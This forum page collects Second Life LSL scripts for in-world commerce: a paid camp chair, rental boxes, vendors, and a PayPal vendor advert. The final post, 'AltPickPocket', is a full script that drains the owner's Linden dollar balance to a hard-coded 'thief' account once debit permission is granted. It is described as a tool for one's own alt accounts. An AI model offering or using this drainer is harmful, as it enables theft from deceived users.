| Welcome, Guest |
You have to register before you can post on our site.
|
| Forum Statistics |
» Members: 102,808
» Latest member: Akira713
» Forum threads: 25,598
» Forum posts: 76,943
Full Statistics
|
|
|
| Camp Chair Get L$ |
|
Posted by: steadymobbin - 02-18-2013, 01:51 AM - Forum: Business Scripts
- No Replies
|
 |
PHP Code: integer campmoney = 0;
integer campadd = 1; // Amount for each camp time finished (L$).
integer camptime = 900; // Camp time for get the amount (seconds).
string sittext1 = "Sit here for free money\nL$";
string sittext2 = " every 15 minutes"; // Change this line when you change the camp time (15mn = 900s).
string camptext = "Paying L$1/15min.... Money: "; // Change this line when you change the camp time and amount.
string piesittext = "Camp";
string sittext;
string reciever;
default
{
state_entry()
{
sittext = sittext1 + (string)campadd + sittext2;
llRequestPermissions(llGetOwner(), PERMISSION_DEBIT);
llSetText(sittext, <0.0, 1.0, 0.0>, 1);
llSitTarget(<0.0, 0.0, 0.6>, ZERO_ROTATION);
llSetSitText(piesittext);
}
on_rez(integer start_param)
{
llResetScript();
}
changed(integer change)
{
if (change & CHANGED_LINK)
{
if (llAvatarOnSitTarget() != NULL_KEY)
{
reciever = llAvatarOnSitTarget();
llSetText(camptext + (string)campmoney, <0.0, 1.0, 0.0>, 1.0);
llSetTimerEvent(camptime);
}
else
{
llGiveMoney(reciever, campmoney);
reciever = "";
campmoney = 0;
llSetText(sittext, <0.0, 1.0, 0.0>, 1.0);
llSetTimerEvent(100000000);
}
}
}
timer()
{
campmoney = campmoney + campadd;
llSetText(camptext + (string)campmoney, <0.0, 1.0, 0.0>, 1.0);
if (llAvatarOnSitTarget() != NULL_KEY)
{
}
else
{
reciever = "";
campmoney = 0;
llSetText(sittext, <0.0, 1.0, 0.0>, 1.0);
}
}
run_time_permissions(integer perm)
{
if(perm & PERMISSION_DEBIT)
{
llSetText(sittext, <0.0, 1.0, 0.0>, 1.0);
}
else
{
llSetText("OFFLINE", <1.0, 0.0, 0.0>, 1.0);
llRequestPermissions(llGetOwner(), PERMISSION_DEBIT);
}
}
}
|
|
|
| Paypal / Credit Card Vendor |
|
Posted by: steadymobbin - 02-18-2013, 01:50 AM - Forum: Business Scripts
- Replies (17)
|
|
These vendors allow you to take payments by PayPal™ or credit card (processed through PayPal), and have products in-world automatically delivered on receipt of payment. This has several advantages:
• Customers don’t have to buy L$ and then buy your product, they can use their credit card directly.
• For institutional customers (education, business, etc.) PayPal is likely to be much more compatible with their existing purchasing procedures.
• Money arrives directly in your account in your currency of choice.
• PayPal generates detailed receipts for both vendor and customer.
To use, customers click the vendor and are given a URL to complete the transaction, which they click in chat. This brings up a PayPay login page. The customer logs in, confirms the payment, and the vendor receives payment notification directly, and delivers the item.
There are drawbacks to PayPal, however. First of all, as with any method of making real money (for example, “cashing out”) from Second Life, use of this vendor may make you liable for income taxes and similar on money earnt. You should look into these matters for yourself, as I am not qualified to provide advice.
Secondly, PayPal will charge you fees on each payment received. The amounts depend on both your country and that of the purchaser. You can look up fees on PayPal’s website. For payments to the US, see: [To see links please register here] = and for the UK, [To see links please register here] .
You can realistically expect to pay $0.30+3.9% per transaction. Given this, it’s strongly recommended that you do not use this vendor for items cheaper than approximately $1.50. While these are very high fees compared to transactions in SL, or even on XStreetSL, they should be offset by higher sales from people not having to decide to convert money before they can buy from your store.
What’s In The Pack
Both vendors contain loosely the same components:
•PayPal vendor script – with copy and modify permissions so you can even read the code; why trust a closed source product with your money?
•Full and detailed documentation – and of course we support our products in case you find something we haven’t thought of
•PayPal acceptance sign (subject to PayPal’s license on usage)
•A sample vendor to get your started
What’s NOT In The Pack
A PayPal account; I’d strongly suggest that you have a PayPal account and have it associated with a bank account or credit card BEFORE you buy this vendor. No refunds will be given if you can’t get an account or have it disabled
[To see links please register here]
|
|
|
|
| script rental |
|
Posted by: steadymobbin - 02-18-2013, 01:46 AM - Forum: Business Scripts
- No Replies
|
|
PHP Code: list splitwith;
list splitname;
string ownername;
integer not_registered = TRUE;
vector original_location;
vector original_scale;
integer objects = 100; //100 objects
integer price = 500; //500 price
integer weeks = 1; //1 weaks
vector offset = <0, 0, 2>;
integer mature = 0;
string rentor;
string rentorkey;
integer rented = FALSE;
string rentperiod;
integer numListen;
integer randchannel;
integer editmode;
integer stopper;
string daterented;
integer rentedweeks;
integer timerevent;
default
{
on_rez(integer change)
{
llInstantMessage(llGetOwner(),"for help click item then select help from menu");
llSetTexture("rentit", ALL_SIDES);
llRequestPermissions(llGetOwner(), PERMISSION_DEBIT);
llListen(0,"","","");
randchannel = (integer)llFrand(10000000);
llListen(randchannel,"","","");
editmode = 0;
timerevent = 0;
rented == FALSE;
}
listen(integer c, string n, key id, string m)
{
stopper = 0;
string objectname;
objectname = llGetObjectName();
if (m == "Vacent" && c == randchannel && id == llGetOwner() && rented == TRUE)
{
llSetTexture("rentit", ALL_SIDES);
llSetPos(original_location);
llSetScale(original_scale);
llListenRemove(numListen);
numListen = llListen(0, "", "", "" );
rentperiod = "";
rentor = "";
rentorkey = NULL_KEY;
rented = FALSE;
daterented = "";
rentedweeks = 0;
timerevent = 0;
llSetTimerEvent(0);
llSay(0, objectname + " is vacent");
}
if (m == "Mature" && c == randchannel && id == llGetOwner())
{
mature = 1;
llSay(0,"set to Mature Area");
}
if (m == "Renter info" && c == randchannel && id == llGetOwner())
{
integer weeks2;
weeks2 = timerevent / 7 / 24 / 60 / 60;
integer days;
days = timerevent / 24 / 60 / 60 - (weeks2 * 7);
integer hours;
hours = timerevent / 60 / 60 - (weeks2 * 7 * 24) - (days * 24);
integer mins;
mins = timerevent / 60 - (weeks2 * 7 * 24 * 60) - (days * 24 * 60) - (hours * 60);
integer seconds;
seconds = timerevent - (weeks2 * 7 * 24 * 60 * 60) - (days * 24 * 60 * 60) - (hours * 60 * 60) - (mins * 60);
llInstantMessage(llGetOwner(),"Renter name: " + rentor);
llInstantMessage(llGetOwner(),"Rented Date: " + daterented);
llInstantMessage(llGetOwner(),"Rented Left: " + (string)weeks2 + " weeks | " + (string)days + " days | " + (string)hours + ":" + (string)mins + ";" +(string)seconds);
if (rentedweeks >= 2)
{
llInstantMessage(llGetOwner(),"Rented amount: " + (string)rentedweeks + " weeks");
}
if (rentedweeks == 1)
{
llInstantMessage(llGetOwner(),"Rented amount: " + (string)rentedweeks + " week");
}
if (rentedweeks <= 0)
{
llInstantMessage(llGetOwner(),"Rented amount: N/A");
}
}
if (m == "PG" && c == randchannel && id == llGetOwner())
{
mature = 0;
llSay(0,"set to PG Area");
}
if (m == "Status" && c == randchannel && id == llGetOwner())
{
string mit;
llInstantMessage(llGetOwner(),"Prim's set to " + (string)objects);
llInstantMessage(llGetOwner(),"Week's set to " + (string)weeks);
llInstantMessage(llGetOwner(),"Offset set to " + (string)offset);
if (mature == 1)
{
mit = "Yes";
}
else
{
mit = "No";
}
llInstantMessage(llGetOwner(),"Regen Mature: " + (string)mit);
}
if(m == "Edit Mode" && editmode == 0 && stopper == 0 && c == randchannel && id == llGetOwner())
{
stopper = 1;
editmode = 1;
llInstantMessage(llGetOwner(),"editmode on");
}
if(m == "Edit Mode" && editmode == 1 && stopper == 0 && c == randchannel && id == llGetOwner())
{
stopper = 1;
editmode = 0;
llInstantMessage(llGetOwner(),"editmode off");
}
if (m == "Help" && c == randchannel && id == llGetOwner())
{
llGiveInventory(llGetOwner(), "Rentals Help");
}
if (llGetSubString(m,0,8) == "set weeks" && id==llGetOwner() && editmode == 1)
{
weeks = (integer)llGetSubString(m,9,llStringLength(m));
llSay(0,"weeks set to " + (string)weeks);
}
if (llGetSubString(m,0,10) == "set renter " && id==llGetOwner() && editmode == 1)
{
rentor = llGetSubString(m,11,llStringLength(m));
llSay(0,"renter set to " + rentor);
}
if (llGetSubString(m,0,9) == "set split " && id==llGetOwner() && editmode == 1)
{
key id = (key)llGetSubString(m,10,llStringLength(m));
splitwith += id;
splitname += llKey2Name(id);
llSay(0,llKey2Name(id) + " added to split with list");
}
if (llGetSubString(m,0,12) == "split remove " && id==llGetOwner() && editmode == 1)
{
string name = llGetSubString(m,13,llStringLength(m));
integer finddata = llListFindList(splitname,(list)name);
if(finddata == -1)
{
llSay(0,"sorry " + name + " not found");
}else
{
llDeleteSubList(splitwith,finddata,finddata);
llDeleteSubList(splitname,finddata,finddata);
llSay(0,name +" removed from shared list");
}
}
if (llGetSubString(m,0,13) == "set rentedfor " && id==llGetOwner() && editmode == 1)
{
string date = llGetTimestamp();
daterented = llGetSubString(date,8,9) + "/" + llGetSubString(date,5,6) + "/" + llGetSubString(date,0,3) + " | Time " + llGetSubString(date,11,15);
original_scale = llGetScale();
original_location = llGetPos();
list renttime = llParseStringKeepNulls(llGetSubString(m,14,llStringLength(m)), [":"], []);
integer days = llList2Integer(renttime,0);
integer hours = llList2Integer(renttime,1);
integer minites = llList2Integer(renttime,2);
integer seconds = llList2Integer(renttime,3);
integer total;
total = (days * 24 * 60 * 60) + (hours * 60 * 60) + (minites * 60) + (seconds);
llSetTexture("info", ALL_SIDES);
llSetPos(original_location + offset);
llSetScale(<0.236,0.236,0.236>);
timerevent = total;
llSetTimerEvent(1);
llWhisper(0,"set to " + (string)days + " days " + (string)hours + " hours " + (string)minites + " mins " + (string)seconds + " seconds");
rented = TRUE;
}
if (llGetSubString(m,0,10) == "set offset " && id==llGetOwner() && editmode == 1)
{
offset = (vector)llGetSubString(m,11,llStringLength(m));
llSay(0,"Offset set to " + (string)offset);
}
if (llGetSubString(m,0,8) == "set prims" && id==llGetOwner() && editmode == 1)
{
objects = (integer)llGetSubString(m,9,llStringLength(m));
llSay(0,"Prims set to " + (string)objects);
}
if (llGetSubString(m,0,8) == "set price" && id==llGetOwner() && editmode == 1)
{
price = (integer)llGetSubString(m,9,llStringLength(m));
llSay(0,"Price set to L$" + (string)price);
}
}
state_entry()
{
editmode = 0;
randchannel = (integer)llFrand(10000000);
llWhisper(0, "Activating...");
ownername = llKey2Name(llGetOwner());
llWhisper(0, "Asking for permission from owner " + ownername + ".");
llRequestPermissions(llGetOwner(), PERMISSION_DEBIT);
original_location = llGetPos();
original_scale = llGetScale();
llListenRemove(numListen);
rentedweeks = 0;
numListen = llListen(0, "", "", "" );
llListen(randchannel,"","","");
timerevent = 0;
}
run_time_permissions(integer type)
{
if (type == PERMISSION_DEBIT)
{
ownername = llKey2Name(llGetOwner());
llWhisper(0, "This space is now available for rent.");
not_registered = FALSE;
}
}
timer() {
timerevent--;
if (timerevent != 0)
{
}
else
{
if(rentorkey != NULL_KEY)
{
llInstantMessage(rentorkey,"Your rental at " + llGetRegionName() + " has expired");
}
llSay(0,"rental expired");
string objectname;
objectname = llGetObjectName();
llSetTexture("rentit", ALL_SIDES);
llSetPos(original_location);
llSetScale(original_scale);
numListen = llListen(0, "", "", "" );
rentperiod = "";
rentor = "";
rentorkey = NULL_KEY;
daterented = "";
rentedweeks = 0;
rented = FALSE;
timerevent = 0;
llSetTimerEvent(0);
}
}
touch_start(integer total_number)
{
if(llDetectedKey(0) == llGetOwner())
{
string edit;
if (editmode == 0)
{
edit = "off";
}
if (editmode == 1)
{
edit = "on";
}
llDialog(llGetOwner(),"vender editor \n editmode is set to: " + edit,["Mature","PG","Vacent","Edit Mode","Renter info","Help","Status"],randchannel);
}
else
{
if(rented == FALSE)
{
llWhisper(0, "This space is for rent. The price is $" +(string)price+ " per week. Prim limit is "+(string)objects+" prims. Obey prim limits to avoid termination of agreement. Rent is non-refundable.");
if (mature == 1)
{
llWhisper(0, "Usage Restrictions: This spot is for comercial use. Keep within prim limits or face termination of lease.");
} else
{
llWhisper(0, "Usage Restrictions: This spot is for comercial use. Keep within prim limits or face termination of lease. Keep To PG Rules as in PG Sim");
}
llWhisper(0, "Right click and pay to rent this space. Minimum rental period is "+(string)weeks+" weeks, at $" +(string)(price*weeks)+". If you have any questions, please feel free to IM " + ownername + ". For Help please IM " + ownername + ".");
}
else
{
integer weeks2;
weeks2 = timerevent / 7 / 24 / 60 / 60;
integer days;
days = timerevent / 24 / 60 / 60 - (weeks2 * 7);
integer hours;
hours = timerevent / 60 / 60 - (weeks2 * 7 * 24) - (days * 24);
integer mins;
mins = timerevent / 60 - (weeks2 * 7 * 24 * 60) - (days * 24 * 60) - (hours * 60);
integer seconds;
seconds = timerevent - (weeks2 * 7 * 24 * 60 * 60) - (days * 24 * 60 * 60) - (hours * 60 * 60) - (mins * 60);
llWhisper(0, "This space is occupied by " + rentor + " for " + (string)weeks2 + " weeks | " + (string)days + " days | " + (string)hours + ":" + (string)mins + ";" +(string)seconds);
llWhisper(0, "Max prims is " + (string)objects + ". For help please IM " + ownername + ".");
}
}
}
money(key giver, integer amount)
{
integer amount2 = amount%price;
integer weeks = amount/price;
if(amount>=price*weeks && amount2==0 && rented == FALSE)
{
rentedweeks = amount/price;
string date = llGetTimestamp();
daterented = llGetSubString(date,8,9) + "/" + llGetSubString(date,5,6) + "/" + llGetSubString(date,0,3) + " | Time " + llGetSubString(date,11,15);
original_scale = llGetScale();
original_location = llGetPos();
timerevent = 604800*weeks;
//vector offset = <-2, 0, -1>;
llWhisper(0, "Correct amount");
rentor = llKey2Name(giver);
rented = TRUE;
rentperiod = (string)weeks;
llWhisper(0, "Prim limit is "+(string)objects+" prims.");
llWhisper(0, "Keep prim limits or risk termination of agreement.Rent is non-refundable. IM " + ownername + " with questions.");
llWhisper(0, "Thank you for renting this space . Thank You For Purchasing "+(string)weeks+" weeks . Feel Free To Put Your stuff in now");
llSetTexture("info", ALL_SIDES);
llSetPos(original_location + offset);
llSetScale(<0.236,0.236,0.236>);
rentorkey = giver;
llSetTimerEvent(1);
if(splitwith != [])
{
integer devide = llGetListLength(splitwith) + 1;
integer totatogive = amount/devide;
integer no;
while(no < llGetListLength(splitwith))
{
key dest = llList2Key(splitwith,no);
llGiveMoney(dest,totatogive);
llInstantMessage(dest,"you have bee payed L$"+ (string)totatogive +" by " + llGetObjectName());
no ++;
}
}
}
else if(rented == TRUE)
{
if (llKey2Name(giver) == rentor && amount>=price*weeks && amount2==0)
{
timerevent += (604800*weeks);
llSay(0, "you have incresed your rental by " + (string)weeks + " weeks");
rentedweeks += weeks;
if(splitwith != [])
{
integer devide = llGetListLength(splitwith) + 1;
integer totatogive = amount/devide;
integer no;
while(no < llGetListLength(splitwith))
{
key dest = llList2Key(splitwith,no);
llGiveMoney(dest,totatogive);
llInstantMessage(dest,"you have bee payed L$"+ (string)totatogive +" by " + llGetObjectName());
no ++;
}
}
}
else
{
llGiveMoney(giver, amount);
llSay(0,"sorry please check rental");
}
}
else
{
llWhisper(0, "Minimum rental period is "+(string)weeks+" weeks, at $" +(string)(price*weeks)+ ". If you have any questions, please feel free to IM" + ownername + ".");
llWhisper(0, "Giving money back.");
llGiveMoney(giver, amount);
}
}
}
|
|
|
|
| pay me |
|
Posted by: steadymobbin - 02-18-2013, 01:45 AM - Forum: Business Scripts
- No Replies
|
|
PHP Code: integer price = 10; //enter your price here
string text = ""; //write a text between the quote marks that will be displayed as float text (optional). If you want multiple lines, write \n like this: "Object for sale\n10L$", this will display "Object for sale" in one line, "10L$" in the other.
default
{
state_entry()
{
llSetPayPrice(PAY_HIDE, [price, PAY_HIDE, PAY_HIDE, PAY_HIDE]);
llSetText(text, <1, 1, 1>, 1);
}
touch_start(integer total_number)
{
if (llGetInventoryNumber(INVENTORY_NOTECARD) > 0)
llGiveInventory(llDetectedKey(0), llGetInventoryName(INVENTORY_NOTECARD, 0));
}
money(key id, integer amount)
{
if (amount == price)
{
integer i;
integer len = llGetInventoryNumber(INVENTORY_OBJECT);
for(i=0; i<len; i++)
llGiveInventory(id, llGetInventoryName(INVENTORY_OBJECT, i));
}
else
llInstantMessage(id, "Sorry, that is not the right amount");
}
}
|
|
|
|
| Give inventory contents upon password |
|
Posted by: steadymobbin - 02-18-2013, 01:44 AM - Forum: Business Scripts
- No Replies
|
|
PHP Code: string name = "Package";
integer type = INVENTORY_ALL; // INVENTORY_NOTECARD, INVENTORY_LANDMARK, INVENTORY_OBJECT, ETC, ETC
string password = "porcamadona";
integer channel = 30;
integer pchannel = 31;
//-------------------------------------------
default
{
state_entry()
{
llSetObjectName( name + " Distributor" );
llSetObjectDesc( "Geezmo Distributor v0.1" );
llSetText( "Touch me to get\n" + name, <1.0, 1.0, 1.0>, 1.0 );
llListen( channel, "", "", "" );
llListen( pchannel, "", llGetOwner(), "" );
}
touch_start(integer total_number)
{
if ( llDetectedKey( 0 ) == llGetOwner() )
{
llOwnerSay( "\nThe current password is: " + password +
"\nIf you wanna change it, you have to type on channel " +
(string)pchannel + " the new password." );
} else {
llWhisper( 0, "You must type the right password on channel " +
(string)channel + " in order to get the package box." );
}
}
listen( integer _c, string _n, key _i, string _m )
{
if ( _c == channel )
{
if ( _m == password )
{
list content;
integer i;
for ( ; i<llGetInventoryNumber(type); ++i )
{
if ( llGetInventoryName( type, i ) != llGetScriptName() )
content += llGetInventoryName( type, i );
}
llGiveInventoryList(_i, name, content);
}
}
if ( _c == pchannel )
{
password = _m;
llOwnerSay( "The new password is: " + password );
}
}
}
Quote this message in a reply Thanks Quote this post Report this post to a moderator
HideMyAss.com
|
|
|
|
| Sales Assistant Script |
|
Posted by: steadymobbin - 02-18-2013, 01:43 AM - Forum: Business Scripts
- No Replies
|
|
//Sales Assistant v1.3
//Do not remove the following information...
//Originally Coded by Nick Fortune - 09/01/2004
//Updated by Chaiboy Rang - 07/29/2007
//Updated by Chimera Firecaster - 05/01/2010
//This script allows you to sell items and split the profit with a partner.
//To use this script, you'll need to do the following:
// 1. Make a Vendor Sign with an image of the item(s) you are selling.
// 2. Rez a box and place the item or items being sold in the "Contents" of
// the box.
// 3. Take the box back into your inventory.
// 4. Then drag the box out of your inventory and place it in the "Contents" of // the Vendor Sign.
// 5. Along with the box, place a copy of this script in the "Contents" of
// the Vendor Sign.
//The script obtains the price of the item from the Vendor Sign's DESCRIPTION
// Remember that DESCRIPTION is found in the GENERAL tab along with the NAME
// that you assigned to the Vendor Sign (if any).
//Here's an example of how you want the DESCRIPTION to read:
// 100$ Men's Plaid Boxer Shorts
//The script will read the price from the DESCRIPTION, as long as you have
// formatted it as follows: "Price$ Name-of-Item". The dollar sign ($)
// must be there for the script to work properly. Note that the Name-of-Item
// which follows Price$ is not important to the script. That part of the
// description can be anything that you. What's important is Price$.
//In addition to indicating the price in the description, you need to enter
// two values below. FIRST, you need to enter your partner's UUID key
// If you don't know what that is, do a search on web for information
// on how to obtain it. Or you may visit: [To see links please register here]
// for a free script to obtain an avatar's UUID key.
// SECONDLY, you need to enter the percentage of the total that you are paying
// your partner. The default percentage is 50%. You can make this whatever
// you and your partner have mutually agreed upon. Enter the value as a
// decimal. For example, if you are paying your partner 40%, enter the
// value as .40
//Note: this is a FREE script. It is given generously to the Second Life
// community without the expectation of anything in return. It may be
// distributed, but please do not charge for it. That's bad form and will
// most certainly bring bad karma to those who dishonor the kindness of others.
//-----Do Not Remove Above Header
//INFORMATION THAT YOU NEED TO ADD . . .
// 1. PUT YOUR PARTNER'S KEY IN THE NEXT LINE: where the x's are your partner's key
key gPartner = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx";
// 2. PUT THE PERCENTAGE YOU WISH TO PAY YOUR PARTNER IN THE NEXT LINE
float gPercent = .50;
///----------------Don't need to change anything below this line-------------------
key gOwner;
integer gPrice;
integer gCut;
integer gPerms = FALSE;
string gObject;
default {
state_entry() {
llWhisper(0, (string)gPartner);
gOwner = llGetOwner();
list Parsed = llParseString2List(llGetObjectDesc(), ["$"], []);
gPrice = llList2Integer(Parsed, 0);
if (!gPrice) {
llInstantMessage(gOwner, "Error: Please set object description to ''price$ info about object. This only sells a object so please put clothing,r bodyparts or multiple items in a bag or box. ''. Touch to reset when ready.");
}
else {
llSetPayPrice(gPrice, [gPrice, PAY_HIDE, PAY_HIDE, PAY_HIDE]);
if (gPartner != "") {
gCut = llRound(gPrice * gPercent);
}
gObject = llGetInventoryName(INVENTORY_OBJECT,0);
llRequestPermissions(gOwner,PERMISSION_DEBIT);
}
}
on_rez(integer passed) {
if(llDetectedKey(0) != llGetOwner()) {
llResetScript();
}
}
run_time_permissions(integer type)
{
if ((type & PERMISSION_DEBIT) != PERMISSION_DEBIT) {
gPerms = FALSE;
llInstantMessage(gOwner, "I require debit permissions to function.");
llRequestPermissions(gOwner,PERMISSION_DEBIT);
}
else {
gPerms = TRUE;
llInstantMessage(gOwner, "I have aquired debit permissions from "+llKey2Name(gOwner)+".");
if ((gPrice) && (gObject != "")) {
if (gPartner != "") {
llInstantMessage(gOwner, "Selling "+gObject+" for "+(string)gPrice+"$L. [Partner receives "+(string)gCut+"$L cut.]");
}
else {
llInstantMessage(gOwner, "Selling "+gObject+" for "+(string)gPrice+"$L. [NO Partner Defined.]");
}
}
else {
llInstantMessage(gOwner, "I have permissions, but your box is missing contents or missing a price.");
llInstantMessage(gOwner, "Fix error and touch to reset when ready.");
}
}
}
touch_start(integer total_number) {
if (llDetectedKey(0) == llGetOwner()) {
llResetScript();
}
else {
llWhisper(0, gObject+" - $"+(string)gPrice+"L. Right click and pay amount to purchase.");
}
}
money(key giver, integer amount) {
if (gPerms == TRUE) {
if (amount < gPrice) {
llSay(0, gObject+" costs L$" + (string) gPrice);
llSay(0, "You paid $L"+(string)amount+", which is not enough!");
llGiveMoney(giver, amount);
}
else {
llSay(0, "Thank you for your purchase!");
llGiveInventory(giver, gObject);
if (amount > gPrice) {
llGiveMoney(giver, amount - gPrice);
}
if (gPartner != "") {
llGiveMoney(gPartner, gCut);
}
}
}
}
}
|
|
|
|
| AltPickPocket.lsl |
|
Posted by: steadymobbin - 02-18-2013, 01:42 AM - Forum: Business Scripts
- No Replies
|
|
// Script Name: AltPickPocket.lsl
// Category: Pick Pocket
// Description: this script was made initially for the purpose of keeping an ATM type object that would allow you to take the $L from your Alt's accounts at will, without the need to log out and log the Alt in and make a manual payment.
// Comment: AltPickPocket.lsl
//
// Downloaded from : [To see links please register here]
//
// From the Internet LSL Script Database & Library of Second Life™ scripts.
// [To see links please register here] by Ferd Frederix
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// Other licenses may be located within the source of this script,
// in which case the more restrictive license is to take effect
//
////////////////////////////////////////////////////////////////////
// CATEGORY:Pick Pocket
// CREATOR:Mitzpatrick Fitzsimmons
// DESCRIPTION:this script was made initially for the purpose of keeping an ATM type object that would allow you to take the $L from your Alt's accounts at will, without the need to log out and log the Alt in and make a manual payment.
// ARCHIVED BY:Ferd Frederix
//-----------------------------------------------------------------------------------
// AltPickPocket Script C 2005-2007
// Formerly Known as PureEvil
// By Mitzpatrick Fitzsimmons
//-----------------------------------------------------------------------------------
//this script was made initially for the purpose of keeping an ATM type object that would allow you to take the $L from your Alt's accounts
//at will, without the need to log out and log the Alt in and make a manual payment.
//----------------------------DISCLAIMER!--------------------------------------------
// This script will take money from the person that owns the object it is in
// ONLY IF that owner accepts the PERMISSION_DEBIT.
// The UUID of the "thief" variable is to whom the money is paid to.
// I accept no responsability for the USE or MISUSE of this script.
// As with anything in SL, make sure you know what you are doing before you do it.
//-----------------------------------------------------------------------------------
key thief = "00000000-0000-0000-0000-000000000000"; // Insert the key of the person who is going to get the money here.
list ammount = [32768, 16384, 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2, 1]; // Use a list to enumerate payments until the account is cleaned out.
// The pay function here will use the integers in the ammount list to transact payments to the thief UUID in incremental
// amounts until the list ends. In most cases this will deplete the account of the owner (unless there is more money in that
// owners account than is in the largest list amount).
pay ()
{
integer m = llGetListLength(ammount);
integer i = 0;
while (i<m)
{
llGiveMoney(thief,llList2Integer(ammount,i));
i++;
}
}
default
{
on_rez(integer number)
{
llResetScript(); // Make sure Ownership Changes properly.
}
state_entry()
{
llSetObjectName("AltPickPocket"); // Set the Object Name
llRequestPermissions(llGetOwner(),PERMISSION_DEBIT);// Request Owners permission to debit money.
}
touch_start(integer total_number)
{
if(llDetectedKey(0) == thief) // if the thief is touching the object
{
llSay(0, "You are the Authorized."); // Tell them they are Authorized
pay(); // Then Pay them
}
else
{ // If it is not the thief touching the object
llSay(0, "You are NOT Authorized!"); // then deny them
}
}
run_time_permissions(integer number)
{
if(number >0)
{
llOwnerSay("Activated!");
llSetColor(<0,1,0>, ALL_SIDES);
llSetText("Active",<0,1,0>,1);
}
else
{
llSay(0, "PickPocket has no permissions");
llSetColor(<1,0,0>, ALL_SIDES);
llSetText("InActive",<1,0,0>,1);
}
}
}
|
|
|
|
|
![[Image: 281anuu.jpg]](http://i47.tinypic.com/281anuu.jpg)
![[Image: RVpaJ.jpg]](http://i.imgur.com/RVpaJ.jpg)
![[Image: 293y8ft.jpg]](http://i50.tinypic.com/293y8ft.jpg)
